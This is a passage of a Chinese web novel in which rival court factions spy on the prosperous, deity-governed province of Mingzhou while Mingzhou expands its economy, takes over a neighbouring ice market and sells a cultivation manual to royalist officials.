小皇帝那边不用张绯发愁,他们五人便会将小皇帝制得妥帖。 这几个月来,张绯倒是往返好几次,次次汇报得齐全,倒是让他们很是满意。 而在其内,五人也往明州送去了不少金银财宝,只为能早日获得《青梧引》,早些踏入修行之道,好让寿元翻倍。 先前他们找了景旭宫的道长帮忙入道,折腾了好几个月,总算陆陆续续摸到了门槛。 考虑到可能是自己年纪大了,不中用了,几人思索一番,便打算让道长顺带着培养自己最看好的嫡子。 因这事事关重大,几人后宅乱了一轮,无论是哪个房的,都想要让自己孩子过去学习道法,日后好得了功法。 各种后宅阴私乱飞,几人简直是有苦说不出。 而其中相对平静的便是魏公公,他又没后代,只有干儿子。 只需要挑选一两个信任的即可,用不着像他们一样烦躁这些破事。 四人还会偶尔羡慕一番魏公公的清净,但左右一想到对方的阉人身份,又觉得算了。 因五人心系功法,还要额外处置小皇帝派下去的负责修建水利的人,一时间忙得很。 而先皇派的人也忙着和对方斗法,一时间,整个朝廷,最清闲的莫过于中立派。 谭江扫过朝上的张绯,面上没什么太大的表情,内心却逐渐对此人产生怀疑。 此人作为保皇派的走狗不是一天两天的事,但最近,他经常不在宫内,打探的消息是此人被小皇帝派走做事,但明眼人都知道,这都是保皇派几人的意思。 如今保皇派几人看起来要忙碌得很,前不久府内时不时还会流出不少财宝兑换成金银,很是耐人寻味。 谭江本不想多管闲事,但中立派内,也有人能查到这消息。 中立派的头当属于白家,而白家得到的消息便是来自于明州的情报。 情报内指出,明州如今确实被新人把控,而非是陈京行蓄意设计的陷阱。 其内有一山神,神通广大,而保皇派几人正是最近讨好于山神。 谭江心神微动,原来这便是为何几家最近金银流动的真相。 这么说来,这时不时外出忙碌的张绯,便是去了那明州境内? 保皇派和山神的约定无人知晓,白家的主持人是白讼,此人当属白家青年才俊中第一。 此人召集他们,大意便是作为中立派,若想一直保持中立,那便需要获得更多情报。 决不能坐以待毙。 于是在商量一番后,众人决定派人跟着张绯,而后看情况要不要和那山神接触。 人手是每家都出了的,很快这支小队被派出去打探消息。 谭江有些心神不宁,源自于白讼给他们看的一则画册。 其内仔细描绘了仙人所做之事,谭江扫了一眼,确实称得上是神通广大。 换做以往,他只会觉得此为一种治理手段,而非真实存在。 但那画册画得详尽,描绘的东西竟然是超出了他的想象,这就很让人难以理解。 按照常理来说,人是决不能想到那些没看过的东西的,就算是胡编乱造,也得有个参照物或者是启蒙事物才行。 谭江心跳得很快,从白家离开后,脑内还不自觉闪过那画册所描绘的东西。 越想,便越觉得此画册诡异 应当是有几分真事的,现在再着急也没用,得等派出去的人回来才是解法。 事实上,被派出去的人不仅仅有中立派的,还有先皇派的。 这些人也不是傻子,也发现了最近保皇派几人的不对劲。 于是考虑一番,也派了人手。 而此刻,张绯按照往常带队前去明州,队伍如同往常一样安静,但他知晓,自己身后定是跟了有心打探的队伍。 不过无妨,先前他曾经告知过知州大人日后定会有被跟踪的时候,知州大人倒不担心,反而示意他什么都不需要做,只管带人前往明州即可。 张绯坐在马车内,风吹进马车,吹散了那股闷热。 他早就想通了知州大人的所求——算是钓鱼,看看能不能钓到合适的盟友。 既然知州大人想这么做,他便乖乖作为饵便是。 第319章 异象 张绯像往常一样赶路,而身后的两队跟踪者也是保持一个恰到好处的距离。 话说回上次回到元城后,张绯便用那符咒将家人从元城转移到了明州境内,那转移符咒太珍贵,所以他只得了一张,自然要将家人全部送走。 同时为了应付眼线,他额外找了擅易容的人,让这几人扮演家人。 再加上城门口没有什么异常,其实保皇派对他的监视很松散。 他往明州赶路时,脑内倒是分神羡慕了一番杨舒。 此人在前几日借机离开元城,如今算得上是鱼入大海,再也不必考量别的了。 别的不说,那明州上下封闭得严实,全部都在仙人掌控下,而杨舒去的又是治安最好的风仙县,再加上风仙县属于仙人最先出现的地方,这个地方肯定有些特殊存在,所以思来想去,张绯觉得风仙县绝对是最安全的地方。 日后就算是保皇派发现了杨舒曾经的隐瞒,但也无用了,人已经跑了,如何能抓住? 而目前的话,他作为棋子,还得继续发挥价值,直到仙人掌控黎州。 张绯掀开帘子看了看外面——和冬日不同,夏季的尸体几乎就没有看到过。 也能理解,一来是夏季不会有那么多人冻死,多少能吃点草活着,二来是高温腐败速度加快,就算有尸体,也很快就被腐烂了,根本等不到他路过的时候。 路旁都是茂盛的树木,虫鸣鸟叫,竟还多了点幽静。 抛开身后跟着人不算的话,张绯觉得今日还算个不错的日子。 他开始慢慢吃点干粮,马车也走得悠闲。 身后两队跟得不远不近,保持一个安全距离。 车子行驶了三日,总算是到了明州。 两队人没着急进去,先打算看看情况。 眼看张绯很顺利的入城,中立派的首领决定先派两个人过去试探一番。 试试有没有埋伏,以及这城门口戒严程度。 这两人谨慎的来到城门口,开始接受检查。 事实上,在守城官兵眼里,是不是敌人其实分辨得很清楚。 ——敌人的脑袋上会标志着硕大的红色倒三角,可疑人物脑袋上会标记着黄色问号。 而这些人的脑袋上,此刻就标志着硕大的黄色问号。 守城官兵隔着老远就看到了,但因为脸隐藏在盔甲下,表情根本没有破绽。 人过来时,守城官兵刻意拖延了一会检查时间,盘问对方来处等等。 在看到这些人后,当即就有负责人前往通讯道士那儿将此消息迅速道明给知州大人。 方知意结合今日张绯会见时间,推测出这些人身份,下指令让人进来,同时派出慎刑司的人秘密查看这些人,以免出意外。 眼看这二人顺利入城,大约在半个时辰后,城内传出约定暗号,其余中立派的人这才跟着进城。 和先前那些人一样,这些人脑袋上也标记着黄色问号,但都被吩咐放了进来。 中立派来得早,先皇派稍晚一些。 守城官兵刚将这些可疑人员放进去,一转头就看到了鲜红的倒三角。 这会都不用向上汇报了,先悄咪咪将探路的两人放进去,而后等大部分到了后,直接一网打尽。 很快,先皇派的人被抓捕入狱,等待着审讯,而中立派的人则是毫不知情,人一进来,先被繁华的明州吸引了注意力。 他们震撼的看着宽阔的道路,有人率先开口。 “这驰道可让百姓通行?” 按道理来说不行,但这里可以。 马车很多,来往行人面色匆忙,看上去有事要做。 只是瞬间,他们便将种种怪异先记在心内,打算回去后禀告,但如今最重要的便是跟上张绯,看看那所谓的山神到底是怎么回事。 队伍迅速跟上张绯,等到对方入了官府内,他们本想跟进去,但那里防御很严格,根本没有机会混进去。 无奈之下,只能派人在此地查看,而另外的人则是被分散开来,前去附近收集消息。 等到下午,张绯都没出来,他们很快便明白,这是被对方招待到官府内住着了。 这块情报收集得困难,但别的地方就要简单多了。 等到张绯出来时,时间一晃也到了第三日清晨。 众人跟着张绯出了城,像是来的时候一样,不远不近的跟着。 而此刻,回程路上,众人的心都不平静。 先前被分派着去打探消息的人受到的冲突最大。 本以为打探消息会很困难,但谁能知晓,这消息打探起来异常容易,只是打探容易,但想完全理解这消息中蕴含的情报还是让打探的人感觉到了费解。 等又实际去一一体会那所谓的情报中的改变后,打探的人都懵了 不是,这来真的啊! 本以为是假情报,结果没想到是真的! 这情报他们没瞒着,而是将之告诉队伍首领,等到所有人都知晓后,也是一脸懵。 因张绯驾车离开,他们只得快速跟着出了城。 其余没能打探的人则是心内生出了微弱的后悔——早知道他们就接下这部分任务了,比他们傻乎乎的等在官府要好多了,起码新鲜。 回程路上,将情报一汇合后,中立派首领还是觉得难以置信。 按照情报所说,这仙师,也就是山神那可是神通广大,心怀宽广,心系百姓。 不仅保障了当地百姓的衣食住行,更是还给上学堂,还给提供工作岗位,听完了和听天书一样。 他们也没白去,而是从中购买了不少描绘仙师的戏曲故事,小说,画本子,就等着回去后将这些发现呈递上去。 回去时马车比原来热闹一些,都是众人忍不住谈论着明州境内的见闻。 “天爷啊,那儿最低薪资一百文一日,还只需要工作四个时辰!” “细盐两文一斤!” “学堂一年才一两,还不限制出身年纪,这可真是人人都能上了。” “扫盲班倒是稀奇,这工作量多大啊,全城的人都要经历过扫盲,这可不容易啊。” 群情激奋,说什么的都有,但大多眼内带着稀奇,在描绘那明州境内时,个个眼睛带着光。 但想想他们的立场,至少目前属于黎州立场,和明州处于敌对状态,这便让众人顿时难受了一下。 唉,倒不是他们墙头草,而是见识过明州后,再将心思放回到当下的黎州,放回到元城内部的党派之争,便会让人难以避免地产生一种巨大的厌恶感。 主要是对当权者的厌恶感。 分明能做的事情还有很多,像那仙人一样,将明州百姓慢慢从水深火热之中拉出来,而如今黎州却忙着争斗,忙着为了一己私欲争斗,这让他们不自觉就产生了一种失望的情绪。 车子还在继续往前行驶,潮湿的风吹进马车里,众人从先前的兴趣高涨到如今的一言不发,个个埋头思索。 ——罢了罢了,那明州好归好,但他们的家人都在元城,可怎么能去那明州生活度日。 再说,他们呆的时间太短,如何能证明明州就如同眼睛看到的那般好? 或许还有别的隐患。 嘴上这么说,但事实上,他们都知道,那里确实很好,从百姓身上便可窥探到。 一个地方好与不好,百姓的状态是撒不得谎的。 那些人表露出来的轻松惬意,眼含希望,那是做不得假的。 叹息一番后,马车终于在三日后行驶回了元城。 而与此同时,这份情报便被打包上去,递到了中立派众人手中。 谭江是被匆忙喊过去的。 他去的时候,屋内人不少,略微一扫,他发现今日来的均是一些核心家族的人物。 再等了一刻钟后,人差不多来齐了,而白讼位于上座,正将情报一一透露。 他说话的时候,周围的人一言不发,直到听完情报,立即有人唱反调。 “白兄,这情报属实?这可听着不像是能真实发生的事啊!” “对啊,咱们都知道,这说的基本上不可能实现,而那山神在其中所做之事,是不是他们杜撰的?” 如今众人对这神鬼一说很不信任,若是康盛时期还好,现在大炎朝内乱不止,哪次有新势力出现前,不都是营造一番异象,好方便愚弄百姓。 所以大家对于这故事的相信度很低。 但这情报内说的过程又过于有理有据,且带回来的画册,戏曲,话本子等物写得倒是完全能和情报对上。 “这都能对上,看来是下功夫核对了。” 说什么的都有,众人争论时,谭江接过话本子,很快就发现一处异常 去年干旱下雨的时间 众人争论得脸红脖子粗,唯有谭江开口,指着那处疑虑开口。 “这降雨时间,你们可曾记得?” 众人这才将注意力调回来,等看清楚这上面所写后,再回忆一番去年降雨那日,倒是各个脸色异常。 白讼自然也知晓那日,不过为了准确还是让人查了一番。 等到来人拿着卷宗复述那日异象时,众人顿时拧着眉,心里像是打鼓一样。 时间一样,异象一样。 “将定” 所以说,说的便是这位所谓的山神? 第320章 发展期 去年那场救灾的大雨每个人都记忆犹新。 倒不是说雨水特别,而是下完雨后,天空中曾短暂出现过两个字,“将定”。 当初这两个字可是作为吉兆被记录在史书上,当初他们还以为那两个字说的是小皇帝,或者是保皇派这类人。 但现在结合着风仙县的话本子,戏曲,画册等等来看的话,当初那场雨便是仙人下的? 也不排除对方故作玄虚,要将这救世之名担在这所谓的仙人身上,但无论怎么看,这实在是蹊跷。 毕竟这上面对降雨的描写很合理——神赐之物“番薯”需要湿润的环境,为了不让百姓饿肚子,仙人毅然决然降下甘霖,拯救众民。 而再翻找一番,便能得到这番薯的确切情报,此物的确不曾在大炎朝出现过,可以说,这东西第一次出现便是在风仙县。 事实和神话互相结合得很紧密,完全不像是胡编乱造,难免乱了众人心神。 而位于上座的白讼则是扫过众人迟疑的面庞,将自己的决定一一表明。 “不管仙师是否存在,但明州境内的改变做不得假,虽不知道保皇派到底向那位山神求了什么,但我等也该做好准备。” 这话倒是说的轻飘飘,而众人脸色难免一变。 没人是傻子,白讼的暗藏的意思便是说明州实力强大,做好日后对方可能会打上门来,甚至会将小皇帝拉下马的心理准备。 但这话可不能瞎说,说出来被有心之人操作一番,可是要掉脑袋的。 虽目前来说没有什么奸细存在其中,但万一呢。 谁也赌不起。 白讼将消息送到了,众人道谢后便开始回去。 但众人都知道,那意思便是让他们早做准备,早做打算才是。 谭江出了门,坐上马车,觉得今日天气不错,阳光洒在马车顶,照得人浑身的骨头缝都开始发痒。 而与此同时,先皇派一行人在等了许久后,自然没能等到自己派出去的人,本来他们想跟着张绯看看情况,也主要想看看那所谓的明州到底有何变故。 若是真有什么古怪,理应理清楚后看看能不能被利用。 只是古怪,派出去的人十日不曾有消息,再过了一段时间,依旧消息全无。 众人脸色不好看,这么长时间都没消息,除了出事没有别的原因。 这么看来,明州如今依旧危险,说不定那所谓的新人便是陈京行设置的傀儡,幕后把控明州的依旧是陈京行。 感慨一番陈贼狡诈后,先皇派的只能暂且放弃人手进入明州,转而将复辟的希望落在了别处。 明州。 如今明州各地已经有对应的县令掌管,各个县域早就进行了一轮新的改动。 耕种地种上了适合的种子,各种矿类被整合起来,开始招聘新的工人,进行有计划有规律的开采。 各个县域逐渐增设了不少民生专用的厂子,其中招人,制作,陆陆续续排了一大堆订单。 目前的话,明州本地的消费力完全能够消耗库存,毕竟不少人还等着改善眼下环境,无论是好用便捷的热水器,保温壶,以及镜子,农具,负责加固改造家中环境的水泥,玻璃,哪一个都是排长队等着购入。 工厂没停下来生产过,但生产出来的东西一时间都赶不上消耗的速度。 不过从大方向来看的话,还算勉强能供应上来。 整个明州就像是完全活过来一样,各式各样的行业顿时像是雨后春笋一般冒尖钻出。 大都是服务业,娱乐业较多。 用来满足基础衣食住行满足后的更高层次的要求。 比如看戏,听曲,看画本子等等。 而同时,因扫盲班,学堂的普及,从风仙县开始,辐射到整个明州,不但培养出来一批可以直接上岗高技术高要求行业的人才,还顺便弄出了不少专职写志怪小说的小说家。 这些人也是有趣,上完学堂后,并不醉心于高薪资行业,反而找了个略微清闲的工作,拿着的工资并不多,但每天空闲时间多,这些人开始写小说,然后将此小说投递给报纸,看小说能否发行。 白思妙初次看到这些风格迥异,故事性极强的小说后,先是好奇,等到细细观摩一番,发现这小说意外的好看。 和以往的老套路小说不同,这些从学堂出来的新人明显灵气更足,故事内容也更天马行空,剧情发展跌宕起伏,实在是引人入胜。 白思妙甚至看得好几次都没心思吃饭,只顾着加班加点将来人投递来的小说看完,而后才舒了一口气。 “真是好故事。” 于是在和方知意商量后,额外开了一则新的小报,专职用来登记连载小说。 且不单单是有名气,这稿费如何计算同样也做了规范,就连日后打算出书的话,利润又该几几分账,白思妙都事先做好了预案。 很快,这专职以登记故事的小报便开设了。 本以为一开始可能会卖得慢一些,但预估失误,这报纸卖得很快,甚至不比每日小报慢。 其实稍微一想也能理解,毕竟如今大家吃饱穿暖,日常生活也不发愁,闲来无事的话,也只有看点书本、报纸打发时间。 但娱乐活动的更新速度太慢,无论是戏曲,亦或是画册,更新迭代比纯文字慢多了。 于是,小说应运而生。 因如今扫了盲的缘故,所有人都能读懂拼音,这小说一时间风头无两,卖得热火朝天。 不仅仅是报纸,甚至将所写汇聚成书本,一本本印刷加印。 这人赚了不少钱。 既然有人赚钱,一时间市场火热,不少同样想写点小说,但又怕没有收入的人也加入进来,顿时搅得这市场天翻地覆,颇有几分百花竞放之姿。 同时催生了造纸行业,印刷行业的二次发展,带动了许多岗位,从源头的印刷,再到了下游的销售,售卖,每个环节都需要不少人加入,这也算是带来了新的岗位。 事实上,这些印刷好的小说很快便被商人们带出去,而后售卖给明州其余县域内。 商人们售卖书本的话,很少在除了明州以外的地方售卖,主要是因为目前只有明州完成了扫盲,百姓吃喝不愁,有足够多的受众,其他地方的百姓吃喝都解决不了,又如何会将银两花在这不能吃喝的书本上? 若是说单卖给大户的话,人口面积太小,没什么利润可图,索性这些商人只在明州境内售卖书本,因目前纸张成本低,制纸技术提升,印刷成本也降低了,所以书本价格售卖得并不贵,很是亲民。 再加上如今百姓们闲暇时候也多了,不少人都会在闲得无聊时购入书本,将其内故事通读一番。 也有人懒得怕看,会让说书先生说这些故事。 倒是有趣,这说书地方分成一个个的小包间,每个包间有特定的说书内容,譬如此包间说的小说叫做《凡人传》,一般便是一开始便缴了此小说的听书费,而后每日按照固定时间过来听书,直到这本书听完为止。 这模式很适合那些懒得怕看字,怕梳理关系的人,且听说书先生说书,比他们自己看更为有趣。 这模式很快便流传开来,像是天女散花一般,在明州各个县域都开设了好几家。 不得不说,这类文娱产业的出现,又提供了数个劳动岗位,与之配备的各行各业——无论是说书馆的茶水甜点小吃,亦或是洒扫人员,引导贵客入座的人员,检查票据的人员,这些可都是一个个新的岗位。 这便是为何当初方知意要基于民生,一步步解决最基础的吃喝问题。 只有人活着,之后才能在活着的基础上,自由开拓别的新的行业。 这便像是滚雪球,只有一开始的雪球滚得足够扎实圆润,之后跟着滚上来的雪花才会挨着被凝结成一团漂亮的雪球。 话说回耕种问题。 目前的话,明州整体采取粮食,经济作物,蔬果,药材,按照特殊比例耕种的模式。 至于哪个县域该种什么,这都是由特定的农业方面的专职人员负责检测,而后制作出耕种计划。 当然,在扣除官府要求的必须种植的种类后,剩余的土地,农户们可以想种什么就种什么。 这些农业方面的专职人员还会将调查报告写得清楚,将每个地方适合栽种的作物记录下来,在其后标注清楚几月耕种最为合适。 这份报告会被本县负责人传递给农户,保证农户具有最基础的分辨能力,知晓本县土壤适合种植何作物。 对于官方特别要求过的种植品类,一般来说的话,也由官府一手负责收购。 同时,价格给得实际上要比市面上高的,所以不存在说百姓们不愿意种植官府要求种植的作物,反而各个想要更多的种点这些作物,但受限于每家每户的指标。 是的,这是有指标的。 从最上级领到任务后,各层负责人员便负责将这些定额指标按照耕地面积,人口,分配下去。 而后各层负责人一层层传递,最后消息才能到达农户手中。 所以不说别的,总归无人会嫌弃官府给的种植指标,个个都嫌不够。 明州进入了加速发展的时期,同时,姜定也是美滋滋的看着自己多出来的各类矿产。 先前他的矿产只有潜灵山上的初级矿产,以及当初探索队历尽千辛万苦找到的零散矿产,如今在吞并明州后,他总算获得了不少中级,甚至是高级矿产了,大概一算,这些矿产足够支持他发展到后期了!《 》 320-330 第321章 谁 日子一晃而过,很快便到了盛夏时节。 如今正是最热的八月。 风掺杂着湿热的气息倒灌进整个大炎朝。 将这潮热推送到任何一处。 蔬果庄稼收了一部分,还有的则需要再次浇灌。 大热天浇灌是个体力活,无论是幽州,亦或是黎州,这个时候的农人是最遭罪的。 要在大热天去浇水,不然辛苦劳作的庄稼便会被旱死。 于是,一到这个时候,便能看到不少光着膀子,被晒得黝黑的农人一趟趟浇水。 这些人嘴唇干裂,眼睛里带着点麻木的期待,只期望今年收成好些。 若是来到明州境内的话,便会看到成千个浇水的器械正战战兢兢运行着,好让农作物能够有足够的水分,长得更好。 这些器械均是先前慢慢铺设建立的浇水器械,相比于人力浇灌,这机械可省力多了。 且这器械可以暂时欠着费,每个月只需要还一部分钱,直到还完。 还没有利息,政策可谓是十分利好农户。 因这水车等物浇灌起来效率很高,但凡是试用过的农户,很快便知晓这笔投资绝对是值得的。 只需要报备,之后就有专人负责安装,安装费是免费的,只需要花设备钱而已。 因方便便捷,浇水器械运转良好,数量上处于绝对优势。 猛不伶仃一看,漫山遍野全是这浇水器。 水流在阳光下闪烁着流水独有的光泽,这些水慢慢灌入农田里,滋润着一方农田。 夏日炎热,去年延续的取冰政策很快继续被沿用。 制冰厂扩建了好几家,不然单凭借着一家可做不到供应整个明州。 至于冰块的价格还是和去年一样,限购,便宜得很。 今年天气热,黎州的冰库消耗飞快,一时间,冰块价格高昂,若非有钱人家,还真用不上这冰。 且因为黎州内有一大冰库遭了意外,一夜之间,冰都化得差不多,市面上的冰价更贵了。 张府。 原先冰块还不曾涨价时,府内每人每日能轮得上用两三块冰,前几日冰库出事,市场价格再度飙升后,张府这样的人家自然也在冰块用度上稍微遭了罪。 以前一天用两三块冰,过得舒坦,价格也还能承受,但如今价格飙升太快,同样的份额如今只能买一块冰。 而这冰无论是怎么保存,怎么小心取用,最后总会在最热的时候化成一摊带着温热气息的水,昭示着冰块不够用的事实。 张氏作为府内主母,也是颇为烦恼。 但不能再花高价格去买冰了,不然便要从别的地方挪出花销。 而如今多的是用钱的地方,这钱可不经花啊! 凑合着过了几日,不说张氏热得半夜惊醒,家里的孩子也热得满头大汗。 还要被丈夫说一顿,大概就是说这么热的天,就算冰价贵了,再买些,不然人岂不是要热坏了。 张氏气得头疼,连带燥热,差点就要发火——他说得轻巧,也不看看家里如今收成,要不是她陪嫁带来的铺子给家里赚着钱,不然光是靠他的俸禄,这日子哪能还勉强维持着体面? 要说,丈夫下面也有田地和铺子,要么就是田地今年收益不行,要么就是铺子亏损,总归是没个好的。 虽说对丈夫不满,但张氏不得不承认丈夫还是可以的,好歹没学别人弄个三妻四妾,只是往日不问家中事,需要她负责把持家里。 热了好几天后,张氏实在是没招了,都打算捏着鼻子去买贵价冰了,结果倒是意外得到了个新的路子。 ——市面上来了新的冰块,干净透亮不说,价格和原先没涨价一样,仔细对比一番,还比原先的稍微大一些。 这可让张氏开心坏了。 打听一番这冰块来源没问题后,她和对方定了一个月的冰。 当天晚上,冰块总算到位,三块冰冷飕飕的散发着凉意,将屋内燥热的温度往下拉了拉。 既然能买到便宜的冰,这好消息自然要说给娘家人听。 很快一来二去,这新的冰倒是迅速打开了市场。 这会轮到黎州售冰的商家发愣了。 ——不对啊,这冰块都涨价了,这新出来的冰到底哪来的,怎么还按照原价卖呢? 不少人气得直骂。 “来砸场子的东西,冰一年就赚这个季节,往年保存冰都花那么多钱了,如今好容易轮得一次涨价,还被这浑人搅乱了市场定价!” 要知道这可是少赚了三成呢! 但大伙只是嘴上说说而已,但谁都不傻。 市面上突然出现大量冰块,只能说此人实力强劲,有足够资金去存储冰块,这得投资多少钱进去啊! 小商家们骂归骂,但看得清楚,只能骂骂咧咧往下跟着降了点价。 但相同价位下,对方的冰块稍大,且成色极好,看着就让人心生欢喜,不像是他们存储的冰略显浑浊。 没有对比前,也就这样了,但一旦有了对比,再这么定价可是很少有人再会选择复购了。 眼看销量下滑,众人只能咬牙降了点价,这才算是了事。 而至于这新来的冰则是坚守原先的价格,加上品质好,倒是俨然成为了黎州排的上号的第一梯队。 就这样,这售冰的铺子,在这场商战中突然出现,而后又稳稳当当立住了。 不仅仅赚得盆满钵满,如今竟然还有了地位。 众人哪能高兴——不带这么羞辱人的! 其中闹得最凶的就是行业领头人,任谁被抢走了这头部地位都会觉得不爽,更何况是实打实利益受到了损害。 这人背景雄厚,差人打探了一番,很快便白着脸回来了。 其余人还等着行业大佬给个说法,没想到对方回来后三缄其口,问什么都不说,只是说背后之人能量很大,如今既然不是对方想要砸了盘子,便这样待着最好。 其余人惊得眼珠子快掉了:啊?不是,之前是谁说的要给对方好看?如今怎么又换了说辞? 但既有人探路,这事只能这样不了了之。 ——竟是给了这半路崛起的半吊子好处! 众人暗恨,但事已至此,只能叹息离开。 而至于这黎州的冰块市场,自然是赵金构在调查一番后,上书方大人,而后得到允许后带队开始做冰块生意。 要知道他们和黎州的古法存冰不一样,明州冰块都是现做的,压根不存在什么储存成本,按照原先黎州冰块的价格售卖,简直是赚翻了。 且这玩意就卖夏季一个季节,这些大户们需求量也高,倒是很适合做一笔买卖。 再加上有方大人疏通黎州关系,这制冰铺子开得顺利得很。 赵金构不知道方大人是如何做到的,竟然能做到让黎州不少官家用冰能用到他们铺子的冰块。 不过他也不在乎为何,总之卖得越多越好哇,反正是充盈财库的事。 而黎州采购冰铺的人家各个心里发寒。 该死,这背后到底是谁,怎么会知道他们的把柄? 在如今这世道,谁家没个脏事,但这人到底是如何知晓的? 众慎刑司表示顺手的事。 原本用把柄要挟很容易成为众矢之的,但坏就坏在这铺子背景很厚,竟然有不少大家族愿意护着。 一时间,无人敢动。 “这人来头不小啊,竟然有这些家族都愿意护着,到底是何方神圣?” “别管那么多了,那天宫可不是咱们该看的。” “订就订吧,反正这品质也好,去哪不是订” 而所谓的大家族们则个个冷脸瞧着对方呈递过来的把柄,咬碎了牙往肚子里吞。 这等秘辛竟还有人知晓,看来这人埋伏得很深。 再忍忍,等查出来是谁背后作祟,不弄死他不是自家的作风。 于是,一轮暗中筛查便开始了,但任由将黎州翻个底朝天,这所谓的可疑之人却丝毫没有头绪。 事实上,这些秘辛全部来自于被俘虏的陈京行。 这些人倒不是没想过这点,但陈京行的为人他们都知晓,这样的人压根不可能在临死前乖乖松口,毕竟他从来不做没好处的事。 将最大的嫌疑犯忽略后,这些人毫无收获。 而本打算处死陈京行,但因为此等秘辛,所以陈京行本人暂且被关押在风仙县牢内。 夏日炎炎,皇宫内的冰块也换了一批。 负责给各宫内送冰块的小厮丫鬟各个见之欢喜。 “这冰比去年的要透亮,品质真好。” “好像是比去年要大一些,看来是换了采购的地方了。” 不过大都是互相说几句闲话,将此事略过而已。 负责宫内采购的人也是摸不着头脑——这冰突然就要让换地方采购,且要命的是,这新的地方可不给什么回扣,也不知道是哪位贵人的背景这么深厚,竟然是能将这夏日最暴利的生意捏在手心。 宫内一片猜忌,气氛紧张,猜疑不断。 而作为同样被胁迫的负责采买的负责人也是恨得牙痒痒。 要知道原先合作的那家回扣足以让他吃饱,如今赫然少了回扣,他来钱的路子像是突然被断了一样,心里难受得要死。 这不是最重要的,最重要的是还总有人凑过来打听,好几次他都想发火,但又不得不敷衍过去。 等到好容易查探出对方背景不俗,只能自认倒霉。 而原先被拿捏的那些人,俨然成了双方误会的最根本源头。 毕竟通过把柄拿捏一群人,一次性得罪这么多的操作还是太逆天了,一时半会没人思考到这里来,只是关注自己最关注的部分。 尤其是在这里发现了过往自己的死对头,个个猜测不已。 ——莫非是死对头卖的自己? 一来二去的,什么风吹草动都能脑补一番,硬生生搅得黎州一团乱。 第322章 太阳 和黎州混乱的局势不同,幽州就要稍微平稳一些。 毕竟幽州冰的需求太低,达不到像是黎州那样,需要方知意动手的情况。 但冰不需要,幽州需要别的啊。 先前在黎州售卖得良好的那些盐巴,白糖,亦或是玻璃工艺品,碗筷,以及净座等等,哪个都是幽州需要的。 原先东西卖的少时,虞珠不曾察觉,但一旦东西卖多了,她总算察觉到了其中不对味的地方。 等到让手下查明原委后,这才发现自家已经被所谓的明州商贩占据了不少市场。 但等等——这些人 虞珠最近光是管理偌大的幽州已经十分耗费精神,虽说她身后有不少挺她。 但那是原先虞姚还在时,众人劲往一处使,如今虞姚死了,幽州政权回落到她手上,倒是惹得有些人开始不安分起来。 这便是为何最近她疲于奔命,实在是手头值得信任的人太少,而要做的事太多。 像是先前明州陈京行被俘虏一事,她虽然知晓,也派了人细查,但还是手头人手紧张,还没等细查出结果,竟然发现自家每个县域都多了明州的商贩们在其中流动。 先前也有,但当初对比于商贩,她更担心刚稳固的幽州,于是并未多操心,如今好容易将幽州暂且稳定下来,便得知这一恼人的消息。 若单是商贩流通货物倒也罢了,但按照手下打探的消息,赫然是这明州来的商贩已然将生意做大,隐隐约约有占据本地鳌头的趋势。 不说别的,起码连锁布料行的生意据打听,这就是明州商贩的手段。 ——不知道这些人到底是怎么劝动本地布料行的,定是重利?不然只图利益的商人如何能乖乖听话? 隐隐约约烦躁过后,虞珠派了人,让他们深入明州调查,除了调查陈京行外,更重要的是要将如今明州情报回报过来才对。 派出去的人是一只六人小队,很精简。 这些人来到明州城墙时,守城官兵扫了一眼,发现这些人脑袋上也是黄色的问号,再将这消息回报上去后,按照吩咐将人放了进去。 方知意派了人跟踪这新来的一队人,想看看这些人到底是什么来头。 别的能伪装,但人在放松情况下,下意识的口音绝对伪装不来 原来是幽州那边的口音,所以是幽州派来的人? 这六人在明州内呆了好几日,只是像寻常人一样吃饭,出去溜达,别的行为倒也没干。 而手下将这情况全部告知方大人,供大人定夺。 方知意默默碾了碾干了的茶叶。 ——是来查探明州如何的。幽州,倒还真有生意可以和对方做。 不过得等等对方先开口。 于是,这六人被放任在明州“参观”,而后在几天后,离开了明州,辗转几番后,这才回到了幽州坎城,将近几日在明州看到的东西一一汇报上去。 说实话,这些人其实很谨慎,若不是仙师术法在入城时就给六人识别了出来,一时半会,还真不容易察觉到对方外来人的身份。 尤其这六人还是特意伪装过口音的,当初幽州口音还是没人时意外爆了一句,但很快收敛。 六人行事谨慎,本以为顺利回了坎城汇报,谁曾想屁股后面还跟着尾巴。 虞珠本没觉得这消息会探查的这般顺利,毕竟陈京行的消息就一点都没查到。 但令人惊诧的是,明州的消息竟然很快便传递回来,速度快到让她怀疑这是不是一假情报。 这种感触在听到下属汇报来的明州现况时尤为强烈。 最低日薪一百文?只需要干四个时辰?加班有加班费,节假日有三倍工钱。 实行全城扫盲,确保人人都认得字,懂得最基础的知识? 还有便宜到离谱的物价? 虞珠越听越觉得这不可能。 谁都知道,若真按照这样发展,明州的财库绝对是不够用的,这得多少钱能这么花? 但当听到明州境内开设的工厂,往日街道人来人往,商贩众多时,虞珠又陷入怀疑。 若真能让劳动力带动消费,带动市场,别说,还真有可能能将这庞大的明州盘活了。 但前期这些花费绝对花费众多,这明州是如何做到的? 至此,虞珠不觉得这是陈京行的手笔,此人占据明州数十年,但不曾做过这些事,没道理会假死脱身,而后让别人冒领自己的功绩。 要知道,若是做出这番功绩,就算日后不幸失败,被朝廷俘虏,这对个人来说,也绝对是一件足以流传千古的大事,没必要这么藏着掖着。 虞珠陷入怀疑,同时派人继续盯着明州。 虽说明州有一条通天路,但这花的都是钱,而且一时半会收效甚微,想要回报的话,估计得好久才能得到回报,若按照幽州目前的财库来看的话,是绝对支持不到等到回报的那日的。 且再加上她目前刚坐稳位置,若再将稍微稳定一些的局势搅乱,只会让事情再度恶化,会让原先打算站在她这边的人心生怀疑,从而加剧管理难度。 虞珠叹气,这情报暂且被封存。 黎州,保皇派五人。 先前陆陆续续给山神送了不少好处,终于在每人再次送出去六万两银后,那本《青梧引》总算被张绯带了回来。 经过这些日子的折腾,这些人还真有了一些道法基础,个个自信满满,打算好好研究一番这《青梧引》。 功法既然已给,之后的事可不是张绯能管的了的。 张绯将这功法的危险性再度告知,五人面上听了,实则个个不以为然。 ——道法不到位有生命危险? 那道长可是说了,他们目前学得很到位,再说了,这功法肯定晦涩难懂,他们也不会贪多,最多慢慢来嘛,不会的时候再学学道法,总有一日能将这功法消化透彻。 且家中有潜力的该培养起来了,不然日后怎么担得起责任? 张绯顺利领了赏赐,几百两的好处费,这可是他当官两三年的俸禄,如今倒是一趟就有了,还不说其余的珠宝等物。 将这些银两收好,张绯难免想念家人。 